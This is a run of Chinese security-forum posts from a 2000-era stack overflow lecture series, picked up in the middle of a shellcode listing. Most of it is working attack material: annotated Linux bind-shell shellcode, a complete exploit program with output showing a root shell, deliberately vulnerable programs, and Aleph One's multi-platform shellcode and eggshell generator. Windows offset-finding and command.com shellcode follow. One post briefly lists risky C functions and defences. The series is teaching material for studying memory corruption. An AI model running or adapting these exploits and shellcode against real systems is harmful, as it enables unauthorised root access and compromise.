31 "\x66\x89\x46\x0e" /* movw %ax,0xe(%esi) */
35 "\x8d\x46\x0c" /* leal 0xc(%esi),%eax */
38 "\x89\x46\x04" /* movl %eax,0x4(%esi) */
3b "\x31\xc0" /* xorl %eax,%eax */
3d "\x89\x46\x10" /* movl %eax,0x10(%esi) */
40 "\xb0\x10" /* movb $0x10,%al */
42 "\x89\x46\x08" /* movl %eax,0x8(%esi) */
45 "\xb0\x66" /* movb $0x66,%al */
47 "\xb3\x02" /* movb $0x2,%bl */
49 "\xcd\x80" /* int $0x80 */
/* 执行bind() */
4b "\xeb\x04" /* jmp 0x4 */
/* 越过下面的两个跳转 */
4d "\xeb\x55" /* jmp 0x55 */
/* 跳到0x4f+0x55=0xa4 */
4f "\xeb\x5b" /* jmp 0x5b */
/* 跳到0x51+0x5b=0xac */
51 "\xb0\x01" /* movb $0x1,%al */
53 "\x89\x46\x04" /* movl %eax,0x4(%esi) */
56 "\xb0\x66" /* movb $0x66,%al */
58 "\xb3\x04" /* movb $0x4,%bl */
5a "\xcd\x80" /* int $0x80 */
/* 执行listen() */
5c "\x31\xc0" /* xorl %eax,%eax */
5e "\x89\x46\x04" /* movl %eax,0x4(%esi) */
61 "\x89\x46\x08" /* movl %eax,0x8(%esi) */
64 "\xb0\x66" /* movb $0x66,%al */
66 "\xb3\x05" /* movb $0x5,%bl */
68 "\xcd\x80" /* int $0x80 */
/* 执行accept()，eax里面为返回值cli文件描述符 */
6a "\x88\xc3" /* movb %al,%bl */
6c "\xb0\x3f" /* movb $0x3f,%al */
6e "\x31\xc9" /* xorl %ecx,%ecx */
70 "\xcd\x80" /* int $0x80 */
72 "\xb0\x3f" /* movb $0x3f,%al */
74 "\xb1\x01" /* movb $0x1,%cl */
76 "\xcd\x80" /* int $0x80 */
78 "\xb0\x3f" /* movb $0x3f,%al */
7a "\xb1\x02" /* movb $0x2,%cl */
7c "\xcd\x80" /* int $0x80 */
/* 执行三个dup2() */
7e "\xb8\x2f\x62\x69\x6e" /* movl $0x6e69622f,%eax */
/* %eax="/bin" */
83 "\x89\x06" /* movl %eax,(%esi) */
85 "\xb8\x2f\x73\x68\x2f" /* movl $0x2f68732f,%eax */
/* %eax="/sh/" */
8a "\x89\x46\x04" /* movl %eax,0x4(%esi) */
8d "\x31\xc0" /* xorl %eax,%eax */
8f "\x88\x46\x07" /* movb %al,0x7(%esi) */
92 "\x89\x76\x08" /* movl %esi,0x8(%esi) */
95 "\x89\x46\x0c" /* movl %eax,0xc(%esi) */
98 "\xb0\x0b" /* movb $0xb,%al */
9a "\x89\xf3" /* movl %esi,%ebx */
9c "\x8d\x4e\x08" /* leal 0x8(%esi),%ecx */
9f "\x8d\x56\x0c" /* leal 0xc(%esi),%edx */
a2 "\xcd\x80" /* int $0x80 */
/* 执行execve() */
/* 运行/bin/sh() */
a4 "\x31\xc0" /* xorl %eax,%eax */
a6 "\xb0\x01" /* movb $0x1,%al */
a8 "\x31\xdb" /* xorl %ebx,%ebx */
aa "\xcd\x80" /* int $0x80 */
/* 执行exit() */
ac "\xe8\x5b\xff\xff\xff"; /* call -0xa5 */
/* 执行0x0c处的指令 */
b1
------------------------------------------------------------------------
----
好，长长的shell终于写完了，下面就是攻击程序了。
exploit4.c
------------------------------------------------------------------------
----
#include
#include
#include
#include
#include
#define ALIGN 0
#define OFFSET 0
#define RET_POSITION 1024
#define RANGE 200
#define NOP 0x90
char shellcode[]=
"\x31\xc0" /* xorl %eax,%eax */
"\xb0\x02" /* movb $0x2,%al */
"\xcd\x80" /* int $0x80 */
"\x85\xc0" /* testl %eax,%eax */
"\x75\x43" /* jne 0x43 */
"\xeb\x43" /* jmp 0x43 */
"\x5e" /* popl %esi */
"\x31\xc0" /* xorl %eax,%eax */
"\x31\xdb" /* xorl %ebx,%ebx */
"\x89\xf1" /* movl %esi,%ecx */
"\xb0\x02" /* movb $0x2,%al */
"\x89\x06" /* movl %eax,(%esi) */
"\xb0\x01" /* movb $0x1,%al */
"\x89\x46\x04" /* movl %eax,0x4(%esi) */
"\xb0\x06" /* movb $0x6,%al */
"\x89\x46\x08" /* movl %eax,0x8(%esi) */
"\xb0\x66" /* movb $0x66,%al */
"\xb3\x01" /* movb $0x1,%bl */
"\xcd\x80" /* int $0x80 */
"\x89\x06" /* movl %eax,(%esi) */
"\xb0\x02" /* movb $0x2,%al */
"\x66\x89\x46\x0c" /* movw %ax,0xc(%esi) */
"\xb0\x77" /* movb $0x77,%al */
"\x66\x89\x46\x0e" /* movw %ax,0xe(%esi) */
"\x8d\x46\x0c" /* leal 0xc(%esi),%eax */
"\x89\x46\x04" /* movl %eax,0x4(%esi) */
"\x31\xc0" /* xorl %eax,%eax */
"\x89\x46\x10" /* movl %eax,0x10(%esi) */
"\xb0\x10" /* movb $0x10,%al */
"\x89\x46\x08" /* movl %eax,0x8(%esi) */
"\xb0\x66" /* movb $0x66,%al */
"\xb3\x02" /* movb $0x2,%bl */
"\xcd\x80" /* int $0x80 */
"\xeb\x04" /* jmp 0x4 */
"\xeb\x55" /* jmp 0x55 */
"\xeb\x5b" /* jmp 0x5b */
"\xb0\x01" /* movb $0x1,%al */
"\x89\x46\x04" /* movl %eax,0x4(%esi) */
"\xb0\x66" /* movb $0x66,%al */
"\xb3\x04" /* movb $0x4,%bl */
"\xcd\x80" /* int $0x80 */
"\x31\xc0" /* xorl %eax,%eax */
"\x89\x46\x04" /* movl %eax,0x4(%esi) */
"\x89\x46\x08" /* movl %eax,0x8(%esi) */
"\xb0\x66" /* movb $0x66,%al */
"\xb3\x05" /* movb $0x5,%bl */
"\xcd\x80" /* int $0x80 */
"\x88\xc3" /* movb %al,%bl */
"\xb0\x3f" /* movb $0x3f,%al */
"\x31\xc9" /* xorl %ecx,%ecx */
"\xcd\x80" /* int $0x80 */
"\xb0\x3f" /* movb $0x3f,%al */
"\xb1\x01" /* movb $0x1,%cl */
"\xcd\x80" /* int $0x80 */
"\xb0\x3f" /* movb $0x3f,%al */
"\xb1\x02" /* movb $0x2,%cl */
"\xcd\x80" /* int $0x80 */
"\xb8\x2f\x62\x69\x6e" /* movl $0x6e69622f,%eax */
"\x89\x06" /* movl %eax,(%esi) */
"\xb8\x2f\x73\x68\x2f" /* movl $0x2f68732f,%eax */
"\x89\x46\x04" /* movl %eax,0x4(%esi) */
"\x31\xc0" /* xorl %eax,%eax */
"\x88\x46\x07" /* movb %al,0x7(%esi) */
"\x89\x76\x08" /* movl %esi,0x8(%esi) */
"\x89\x46\x0c" /* movl %eax,0xc(%esi) */
"\xb0\x0b" /* movb $0xb,%al */
"\x89\xf3" /* movl %esi,%ebx */
"\x8d\x4e\x08" /* leal 0x8(%esi),%ecx */
"\x8d\x56\x0c" /* leal 0xc(%esi),%edx */
"\xcd\x80" /* int $0x80 */
"\x31\xc0" /* xorl %eax,%eax */
"\xb0\x01" /* movb $0x1,%al */
"\x31\xdb" /* xorl %ebx,%ebx */
"\xcd\x80" /* int $0x80 */
"\xe8\x5b\xff\xff\xff"; /* call -0xa5 */
unsigned long get_sp(void)
{
__asm__("movl %esp,%eax");
}
long getip(char
        *name)
{
struct hostent
        *hp;
long ip;
if((ip=inet_addr(name))==-1)
{
if((hp=gethostbyname(name))==NULL)
{
fprintf(stderr,"Can't resolve
        host.\n");
exit(0);
}
memcpy(&ip,(hp->h_addr),4);
}
return ip;
}
int exec_sh(int
        sockfd)
{
char
        snd[4096],rcv[4096];
fd_set
        rset;
while(1)
{
FD_ZERO(&rset);
FD_SET(fileno(stdin),&rset);
FD_SET(sockfd,&rset);
select(255,&rset,NULL,NULL,NULL);
if(FD_ISSET(fileno(stdin),&rset))
{
memset(snd,0,sizeof(snd));
fgets(snd,sizeof(snd),stdin);
write(sockfd,snd,strlen(snd));
}
if(FD_ISSET(sockfd,&rset))
{
memset(rcv,0,sizeof(rcv));
if(read(sockfd,rcv,sizeof(rcv))<=0)
exit(0);
fputs(rcv,stdout);
}
}
}
int connect_sh(long
        ip)
{
int sockfd,i;
struct sockaddr_in sin;
printf("Connect to the
        shell\n");
fflush(stdout);
memset(&sin,0,sizeof(sin));
sin.sin_family=AF_INET;
sin.sin_port=htons(30464);
sin.sin_addr.s_addr=ip;
if((sockfd=socket(AF_INET,SOCK_STREAM,0))<0)
{
printf("Can't create
        socket\n");
exit(0);
}
if(connect(sockfd,(struct sockaddr
        *)&sin,sizeof(sin))<0)
{
printf("Can't connect to the
        shell\n");
exit(0);
}
return
        sockfd;
}
void main(int argc,char **argv)
{
char buff[RET_POSITION+RANGE+ALIGN+1],*ptr;
long addr;
unsigned long sp;
int offset=OFFSET,bsize=RET_POSITION+RANGE+ALIGN+1;
int i;
int sockfd;
if(argc>1)
offset=atoi(argv[1]);
sp=get_sp();
addr=sp-offset;
        for(i=0;i
        {
buff[i+ALIGN]=(addr&0x000000ff);
buff[i+ALIGN+1]=(addr&0x0000ff00)>>8;
buff[i+ALIGN+2]=(addr&0x00ff0000)>>16;
buff[i+ALIGN+3]=(addr&0xff000000)>>24;
}
for(i=0;i buff=NOP;
        ptr=buff+bsize-RANGE*2-strlen(shellcode)-1;
for(i=0;i
        *(ptr++)=shellcode;
buff[bsize-1]='\0';
printf("Jump to 0x%08x\n",addr);
if(fork()==0)
{
execl("./vulnerable","vulnerable",buff,0);
exit(0);
}
sleep(5);
sockfd=connect_sh(getip("127.0.0.1"));
exec_sh(sockfd);
}
------------------------------------------------------------------------
----
算法很简单，先生成溢出串，格式为：NNNNSSSSAAAA。然后起一个子进程执行目标
程序
来模拟网络daemon，参数为我们的字符串。好，堆栈溢出发生了。我们的
shellcode被
执行，那么在30464端口就会有server在listen了。
父进程睡五秒，等待这些完成。就连接本机的端口30464。连接建立后，从socket
读取
收到的字符串，打印到标准输出，从标准输入读取字符串，传到socket的server端
。

下面来试一试：
我们先写一个漏洞程序：
vulnerable.C
------------------------------------------------------------------------
----
#include
int main(int argc,char ** argv)
{
char buffer[1000];
printf("I am here%x,buffer%d\n",buffer,strlen(argv[1]));
strcpy(buffer,argv[1]);

return 0;
}
------------------------------------------------------------------------
----
[nkl10]$ ./exploit
Jump to 0xbffff63c
I am herebffff280,buffer1224
Connect to the shell
Can't connect to the shell
看到了吗？我在vulnerable.C里面加入了一个printf，打印buffer的首地址，这样
就可以
不用猜了。0xbffff63c-0xbffff280 = 956,好，就用956来进行偏移。
[nkl10]$./exploit 956
Jump to 0xbffff280
I am herebffff280,buffer1224
connect to shell
whoami
root
id
uid=0(root)......
uname -a
Linux localhost.localdomain 2.2.5-15。。。

嘿嘿，大功告成了。
--
※ 修改:．ipxodi 于 Feb 22 17:04:10 修改本文．[FROM: 202.112.101.131]
※ 来源:．武汉白云黄鹤站 bbs.whnet.edu.cn．[FROM: 202.112.101.131]

--------------------------------------------------------------------------------
分类讨论区 全部讨论区 上一篇 本讨论区 回文章 下一篇
发信人: ipxodi (乐乐), 信区: Security
标 题: 堆栈溢出系列讲座(6)
发信站: 武汉白云黄鹤站 (Tue Feb 22 16:57:34 2000), 转信
堆栈溢出系列讲座
防范堆栈溢出

1:寻找漏洞
我们已经看到堆栈溢出的危害，那么什么程序会有堆栈溢出的隐患呢？
首先是strcpy，很多问题都出在他身上。
其他的，还有：
1:很多与字符串操作相关的函数都是有问题的。它们是：
strcat(), strcpy(),sprintf(), and vsprintf()。
2:带有可变参数的函数，比如：所有printf的变种，（除了printf）
fprintf()...
因为这些函数都使用了vsprintf(buf, fmt, ap);来将格式化的字符串和参数结合
，
输出到buffer中去，所以都有堆栈溢出的危险。
3:内部调用了strcpy的函数
gets()，getc(), fgetc(), or getchar()...

4:scanf()以及所有scanf的变种。
vcscanf(),sscanf(),fscanf()...
因为scanf可以接受参数%s，来进行串复制，而不考虑串的边界。

有以上函数的程序，都是危险的。
另外，所有链接了Xt lib的程序，都是有问题的程序。
在linux里面，你可以查找所有的原代码，grep上述这些函数。如果没有原代码，
你可以
使用strings命令察看目标程序里面的字符串，看看有没有："input什么的","%s"
什么的
，还可以使用（）命令来察看程序使用了哪些库函数。
一旦发现有隐患的程序，你就可以使用前面讲过的各种方法来试验。相信很快就可
以
发现一个漏洞并且得到shell。
2:防范措施：
当然最好的方法就是把堆栈段设置成不可执行。本来堆栈段就是放数据的吗！我们
的
shellcode由于是在堆栈里面，所以将会彻底没戏。但是，这需要操作系统的支持
才可以
。solaris现在已经可以实现这个功能.Linux目前我不清楚。
另外，不要随便编写setuid的程序。而且在写setuid的程序的时候，千万要小心，
不要
出现上面说的哪些问题函数，或者，附加边界检查。
你的机器上的setuid程序的个数和名字，你应该定期检查。对于很少用的setuid程
序，
干脆就去掉setuid位得了。
最后，新的漏洞是层出不穷的，精华区里面有很多安全网址。
你（网管）应该每天去这些地方拜会。希望你紧跟时代，勤打补丁。
3:附录：
下面这些宝贝是从Aleph One的经典名著 “Smashing The Stack For Fun And
Profit”
的附录考过来的。主要是为了方便大家使用，省得找了。
Appendix A - Shellcode for Different Operating
Systems/Architectures

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
i386/Linux
------------------------------------------------------------------------
------
jmp 0x1f
popl %esi
movl %esi,0x8(%esi)
xorl %eax,%eax
movb %eax,0x7(%esi)
movl %eax,0xc(%esi)
movb $0xb,%al
movl %esi,%ebx
leal 0x8(%esi),%ecx
leal 0xc(%esi),%edx
int $0x80
xorl %ebx,%ebx
movl %ebx,%eax
inc %eax
int $0x80
call -0x24
.string \"/bin/sh\"
------------------------------------------------------------------------
------
SPARC/Solaris
------------------------------------------------------------------------
------
sethi 0xbd89a, %l6
or %l6, 0x16e, %l6
sethi 0xbdcda, %l7
and %sp, %sp, %o0
add %sp, 8, %o1
xor %o2, %o2, %o2
add %sp, 16, %sp
std %l6, [%sp - 16]
st %sp, [%sp - 8]
st %g0, [%sp - 4]
mov 0x3b, %g1
ta 8
xor %o7, %o7, %o0
mov 1, %g1
ta 8
------------------------------------------------------------------------
------
SPARC/SunOS
------------------------------------------------------------------------
------
sethi 0xbd89a, %l6
or %l6, 0x16e, %l6
sethi 0xbdcda, %l7
and %sp, %sp, %o0
add %sp, 8, %o1
xor %o2, %o2, %o2
add %sp, 16, %sp
std %l6, [%sp - 16]
st %sp, [%sp - 8]
st %g0, [%sp - 4]
mov 0x3b, %g1
mov -0x1, %l5
ta %l5 + 1
xor %o7, %o7, %o0
mov 1, %g1
ta %l5 + 1
------------------------------------------------------------------------
------

Appendix B - Generic Buffer Overflow Program
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
shellcode.h
------------------------------------------------------------------------
------
#if defined(__i386__) && defined(__linux__)
#define NOP_SIZE 1
char nop[] = "\x90";
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
unsigned long get_sp(void) {
__asm__("movl %esp,%eax");
}
#elif defined(__sparc__) && defined(__sun__) && defined(__svr4__)
#define NOP_SIZE 4
char nop[]="\xac\x15\xa1\x6e";
char shellcode[] =
"\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xdc\xda\x90\x0b\x80\x0e"
"\x92\x03\xa0\x08\x94\x1a\x80\x0a\x9c\x03\xa0\x10\xec\x3b\xbf\xf0"
"\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc\x82\x10\x20\x3b\x91\xd0\x20\x08"
"\x90\x1b\xc0\x0f\x82\x10\x20\x01\x91\xd0\x20\x08";
unsigned long get_sp(void) {
__asm__("or %sp, %sp, %i0");
}
#elif defined(__sparc__) && defined(__sun__)
#define NOP_SIZE 4
char nop[]="\xac\x15\xa1\x6e";
char shellcode[] =
"\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xdc\xda\x90\x0b\x80\x0e"
"\x92\x03\xa0\x08\x94\x1a\x80\x0a\x9c\x03\xa0\x10\xec\x3b\xbf\xf0"
"\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc\x82\x10\x20\x3b\xaa\x10\x3f\xff"
"\x91\xd5\x60\x01\x90\x1b\xc0\x0f\x82\x10\x20\x01\x91\xd5\x60\x01";
unsigned long get_sp(void) {
__asm__("or %sp, %sp, %i0");
}
#endif
------------------------------------------------------------------------
------
eggshell.c
------------------------------------------------------------------------
------
/*
* eggshell v1.0
*
* Aleph One / aleph1@underground.org
*/
#include
#include
#include "shellcode.h"
#define DEFAULT_OFFSET 0
#define DEFAULT_BUFFER_SIZE 512
#define DEFAULT_EGG_SIZE 2048
void usage(void);
void main(int argc, char *argv[]) {
char
        *ptr, *bof, *egg;
long *addr_ptr, addr;
int offset=DEFAULT_OFFSET,
        bsize=DEFAULT_BUFFER_SIZE;
int i, n, m, c, align=0,
        eggsize=DEFAULT_EGG_SIZE;
while ((c = getopt(argc, argv, "a:b:e:o:")) != EOF)
switch (c) {
case 'a':
align = atoi(optarg);
break;
case 'b':
bsize = atoi(optarg);
break;
case 'e':
eggsize = atoi(optarg);
break;
case 'o':
offset = atoi(optarg);
break;
case '?':
usage();
exit(0);
}
if (strlen(shellcode) > eggsize) {
printf("Shellcode is larger the the egg.\n");
exit(0);
}
if (!(bof = malloc(bsize))) {
printf("Can't allocate memory.\n");
exit(0);
}
if (!(egg
        = malloc(eggsize))) {
printf("Can't allocate
        memory.\n");
exit(0);
}
addr = get_sp() - offset;
printf("[ Buffer size:\t%d\t\tEgg size:\t%d\tAligment:\t%d\t]\n",
bsize, eggsize, align);
printf("[ Address:\t0x%x\tOffset:\t\t%d\t\t\t\t]\n", addr, offset);
addr_ptr = (long *) bof;
for (i = 0; i <
        bsize; i+=4)
*(addr_ptr++) = addr;
ptr = egg;
for (i = 0; i <= eggsize -
        strlen(shellcode) - NOP_SIZE; i +=
NOP_SIZE)
for (n = 0; n
        < NOP_SIZE; n++) {
m = (n + align) %
        NOP_SIZE;
*(ptr++) = nop[m];
}
for (i = 0; i < strlen(shellcode); i++)
*(ptr++) = shellcode;
bof[bsize - 1] = '\0';
egg[eggsize - 1] = '\0';
memcpy(egg,"EGG=",4);
putenv(egg);
memcpy(bof,"BOF=",4);
putenv(bof);
system("/bin/sh");
}
void usage(void) {
(void)fprintf(stderr,
"usage: eggshell [-a ] [-b ] [-e ]
[-o ]\n");
}
------------------------------------------------------------------------
------
--
※ 来源:．武汉白云黄鹤站 bbs.whnet.edu.cn．[FROM: 202.112.101.131]

--------------------------------------------------------------------------------
分类讨论区 全部讨论区 上一篇 本讨论区 回文章 下一篇
发信人: cloudsky (小四), 信区: Security
标 题: 堆栈溢出系列讲座（7）(ipxodi smth)
发信站: 武汉白云黄鹤站 (Thu Feb 24 14:40:15 2000), 站内信件
堆栈溢出系列讲座
window系统下的堆栈溢出--原理篇
这一讲我们来看看windows系统下的程序。我们的目的是研究如何利用windows程序
的
堆栈溢出漏洞。
让我们从头开始。windows 98第二版
首先，我们来写一个问题程序：
#include
int main()
{
char
        name[32];
gets(name);
for(int i=0;i<32&&name;i++)
printf("\\0x%x",name);
}
相信大家都看出来了，gets(name)对name数组没有作边界检查。那么我们可以给程
序
一个很长的串，肯定可以覆盖堆栈中的返回地址。
C:\Program Files\DevStudio\MyProjects\bo\Debug>vunera~1
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaa
\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0
x61\0x61
\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0
x61\0x61
到这里，出现了那个熟悉的对话框“该程序执行了非法操作。。。”，太好了，点
击
详细信息按钮，看到EIP的值是0x61616161，哈哈，对话框还会把返回地址告诉我
们。
这个功能太好了，我们可以选择一个序列的输入串，精确的确定存放返回地址的偏
移位置。
C:\Program Files\DevStudio\MyProjects\bo\Debug>vunera~1
12345678910111213141516171819202122232425262728293031323334353637383940
\0x31\0x32\0x33\0x34\0x35\0x36\0x37\0x38\0x39\0x31\0x30\0x31\0x31\0x31\0
x32\0x31
\0x33\0x31\0x34\0x31\0x35\0x31\0x36\0x31\0x37\0x31\0x38\0x31\0x39\0x32\0
x30\0x32
到这里，又出现了那个熟悉的对话框“改程序执行了非法操作。。。”，点击详细
信息
按钮，下面是详细信息：
VUNERABLE 在 00de:32363235 的模块
<未知> 中导致无效页错误。
Registers:
EAX=00000005 CS=017f EIP=32363235 EFLGS=00000246
EBX=00540000 SS=0187 ESP=0064fe00 EBP=32343233
ECX=00000020 DS=0187 ESI=816bffcc FS=11df
EDX=00411a68 ES=0187 EDI=00000000 GS=0000
Bytes at CS:EIP:
Stack dump:
32383237 33303339 33323331 33343333 33363335 33383337 c0000005
0064ff68
0064fe0c 0064fc30 0064ff68 004046f4 0040f088 00000000 0064ff78
bff8b86c
哦哦，EIP的内容为0x32363235，就是2625,EBP的内容为0x32343233，就是2423,计
算
一下可以知道，在堆栈中，从name变量地址开始偏移36处，是EBP的地址，从name
变量
地址开始偏移40处，是ret的地址。我们可以给name数组输入我们精心编写的
shellcode。
我们只要把name的开始地址放在溢出字符串的地址40就可以了。那么，name的开始
地址
是多少呢？
通过上面的stack dump 我们可以看到，当前ESP所指向的地址0x0064fe00，内容为
0x32383237,那么计算得出，name的开始地址为：0x0064fe00-44=0x64fdd4。在
windows
系统，其他运行进程保持不变的情况下。我们每次执行vunera~1的堆栈的开始地址
都
是相同的。也就是说，每次运行，name的地址都是0x64fdd4。
讲到这里，大家一定已经发现了这样一个情况：在win系统中，由于有地址冲突检
测，
出错时寄存器影像和堆栈影像，使得我们对堆栈溢出漏洞可以进行精确的分析
溢出偏移地址。这就使我们可以精确的方便的寻找堆栈溢出漏洞。
OK，万事具备，只差shellcode了。
首先，考虑一下我们的shellcode要作什么？显然，根据以往的经验，我们想开一
个
dos窗口，这样在这个窗口下，我们就可以作很多事情。
开一个dos窗口的程序如下：
#include
#include
typedef void (*MYPROC)(LPTSTR);
int main()
{
HINSTANCE LibHandle;
MYPROC ProcAdd;
char dllbuf[11] = "msvcrt.dll";
char sysbuf[7] = "system";
char cmdbuf[16] = "command.com";

LibHandle = LoadLibrary(dllbuf);
ProcAdd = (MYPROC) GetProcAddress(LibHandle, sysbuf);
(ProcAdd) (cmdbuf);
return 0;
}
这个程序有必要详细解释一下。我们知道执行一个command.com就可以获得一个
dos窗口。在C库函数里面，语句system(command.com)；将完成我们需要的功能。
但是，windows不像UNIX那样使用系统调用来实现关键函数。对于我们的程序来说
，
windows通过动态链接库来提供系统函数。这就是所谓的Dll's。
因此，当我们想调用一个系统函数的时候，并不能直接引用他。我们必须找到那个
包含此函数的动态链接库，由该动态链接库提供这个函数的地址。DLL本身也有一
个
基本地址，该DLL每一次被加载都是从这个基本地址加载。比如，system函数由
msvcrt.dll
(the Microsoft Visual C++ Runtime library)提供，而msvcrt.dll每次都从
0x78000000地址开始。system函数位于msvcrt.dll的一个固定偏移处（这个偏移地
址
只与msvcrt.dll的版本有关，不同的版本可能偏移地址不同）。我的系统上，
msvcrt.dll版本为(v6.00.8397.0)。system的偏移地址为0x019824。
所以，要想执行system,我们必须首先使用LoadLibrary(msvcrt.dll)装载动态链接
库
msvcrt.dll，获得动态链接库的句柄。然后使用GetProcAddress(LibHandle,
system)
获得 system的真实地址。之后才能使用这个真实地址来调用system函数。
好了，现在可以编译执行，结果正确，我们得到了一个dos框。
现在对这个程序进行调试跟踪汇编语言，可以得到：
15: LibHandle = LoadLibrary(dllbuf);
00401075 lea edx,dword ptr [dllbuf]
00401078 push edx
00401079 call dword ptr [__imp__LoadLibraryA@4(0x00416134)]
0040107F mov dword ptr [LibHandle],eax
16:
17: ProcAdd = (MYPROC) GetProcAddress(LibHandle, sysbuf);
00401082 lea eax,dword ptr [sysbuf]
00401085 push eax
00401086 mov ecx,dword ptr [LibHandle]
00401089 push ecx
0040108A call dword ptr [__imp__GetProcAddress@8(0x00416188)]
00401090 mov dword ptr [ProcAdd],eax
;现在，eax的值为0x78019824就是system的真实地址。
;这个地址对于我的机器而言是唯一的。不用每次都找了。
18:
19: (ProcAdd) (cmdbuf);
00401093 lea edx,dword ptr [cmdbuf]
;使用堆栈传递参数，只有一个参数，就是字符串"command.com"的地址
00401096 push edx
00401097 call dword ptr [ProcAdd]
0040109A add esp,4
现在我们可以写出一段汇编代码来完成system，看以看我们的执行system调用的代
码
是否能够像我们设计的那样工作：
#include
#include
void main()
{
LoadLibrary("msvcrt.dll");

__asm {
mov esp,ebp ;把ebp的内容赋值给esp
push ebp ;保存ebp，esp－4
mov ebp,esp ;给ebp赋新值，将作为局部变量
的基指针
xor edi,edi ;
push edi ;压入0，esp－4，
;作用是构造字符串的结尾\0字符
。
sub esp,08h ;加上上面，一共有12个字节，
;用来放"command.com"。
mov byte ptr [ebp-0ch],63h ;
mov byte ptr [ebp-0bh],6fh ;
mov byte ptr [ebp-0ah],6dh ;
mov byte ptr [ebp-09h],6Dh ;
mov byte ptr [ebp-08h],61h ;
mov byte ptr [ebp-07h],6eh ;
mov byte ptr [ebp-06h],64h ;
mov byte ptr [ebp-05h],2Eh ;
mov byte ptr [ebp-04h],63h ;
mov byte ptr [ebp-03h],6fh ;
mov byte ptr [ebp-02h],6dh ;生成串"command.com".
lea eax,[ebp-0ch] ;
push eax ;串地址作为参数入栈
mov eax, 0x78019824 ;
call eax ;调用system
}
}
编译，然后运行。好，DOS框出来了。在提示符下输入dir,copy......是不是想起
了
当年用286的时候了？
敲exit退出来，哎呀，发生了非法操作。Access Violation。这是肯定的，因为我
们的
程序已经把堆栈指针搞乱了。
对上面的算法进行优化，现在我们可以写出shellcode如下：
char shellcode[] = {
0x8B,0xE5, /*mov esp, ebp */
0x55, /*push ebp */
0x8B,0xEC, /*mov ebp, esp */
0x83,0xEC,0x0C, /*sub esp, 0000000C */
0xB8,0x63,0x6F,0x6D,0x6D, /*mov eax, 6D6D6F63 */
0x89,0x45,0xF4, /*mov dword ptr [ebp-0C], eax*/
0xB8,0x61,0x6E,0x64,0x2E, /*mov eax, 2E646E61 */
0x89,0x45,0xF8, /*mov dword ptr [ebp-08], eax*/
0xB8,0x63,0x6F,0x6D,0x22, /*mov eax, 226D6F63 */
0x89,0x45,0xFC, /*mov dword ptr [ebp-04], eax*/
0x33,0xD2, /*xor edx, edx */
0x88,0x55,0xFF, /*mov byte ptr [ebp-01], dl */
0x8D,0x45,0xF4, /*lea eax, dword ptr [ebp-0C]*/
0x50, /*push eax */
0xB8,0x24,0x98,0x01,0x78, /*mov eax, 78019824 */
0xFF,0xD0 /*call eax */
};
还记得第二讲中那个测试shellcode的基本程序吗？我们可以用他来测试这个
shellcode：
#include
#include
char shellcode[] = {
0x8B,0xE5, /*mov esp, ebp */
0x55, /*push ebp */
0x8B,0xEC, /*mov ebp, esp */
0x83,0xEC,0x0C, /*sub esp, 0000000C */
0xB8,0x63,0x6F,0x6D,0x6D, /*mov eax, 6D6D6F63 */
0x89,0x45,0xF4, /*mov dword ptr [ebp-0C], eax*/
0xB8,0x61,0x6E,0x64,0x2E, /*mov eax, 2E646E61 */
0x89,0x45,0xF8, /*mov dword ptr [ebp-08], eax*/
0xB8,0x63,0x6F,0x6D,0x22, /*mov eax, 226D6F63 */
0x89,0x45,0xFC, /*mov dword ptr [ebp-04], eax*/
0x33,0xD2, /*xor edx, edx */
0x88,0x55,0xFF, /*mov byte ptr [ebp-01], dl */
0x8D,0x45,0xF4, /*lea eax, dword ptr [ebp-0C]*/
0x50, /*push eax */
0xB8,0x24,0x98,0x01,0x78, /*mov eax, 78019824 */
0xFF,0xD0 /*call eax */
};
int main() {
int *ret;
LoadLibrary("msvcrt.dll");
ret = (int *)&ret + 2; //ret 等于main（）的返回地址
//(＋2是因为：有push ebp ,否则加1就可以了。）
(*ret) = (int)shellcode; //修改main（）的返回地址为shellcode的开始地
址。

}
编译运行，得到dos对话框。
现在总结一下。我们已经知道了在windows系统下如何获得一次堆栈溢出，如何计
算
偏移地址，以及如何编写一个shellcode以得到dos。理论上，你已经具备了利用堆
栈溢出
的能力了，下面，我们通过实战来真正掌握他。
--
我问飘逝的风：来迟了？
风感慨：是的，他们已经宣战。
我问苏醒的大地：还有希望么？
大地揉了揉眼睛：还有，还有无数代的少年。
我问长空中的英魂：你们相信？
英魂带着笑意离去：相信，希望还在。
※ 来源:．武汉白云黄鹤站 bbs.whnet.edu.cn．[FROM: 203.207.226.124]

--------------------------------------------------------------------------------
分类讨论区 全部讨论区 上一篇 本讨论区 回文章 下一篇
发信人: cloudsky (小四), 信区: Security
标 题: 堆栈溢出系列讲座（8）(ipxodi smth)
发信站: 武汉白云黄鹤站 (Thu Feb 24 14:38:17 2000), 站内信件
堆栈溢出系列讲座
window系统下的堆栈溢出－－－－溢出字符串的设计
我们已经知道了在windows系统下如何获得一次堆栈溢出，如何计算
偏移地址，以及如何编写一个shellcode以得到dos。
但是这远远不够。
大家知道windows系统的用户进程空间是0--2G，操作系统所占的为2--4G。
事实上用户进程的加载位置为：0x00400000.这个进程的所有指令地址，数据地址
和堆栈指针都会含有0,那么我们的返回地址就必然含有0。
现在来看一看我们的shellcode：NNNNSSSSAAAAAA。显然，我们的shellcode
由于A里面含有0，所以就变成了NNNNNNNNSSSSSA,这样，我们的返回地址A必须精确
的放在确切的函数堆栈中的ret位置。
事实上，在上一讲里面，我们已经掌握了很精确的找到这个位置的方法。
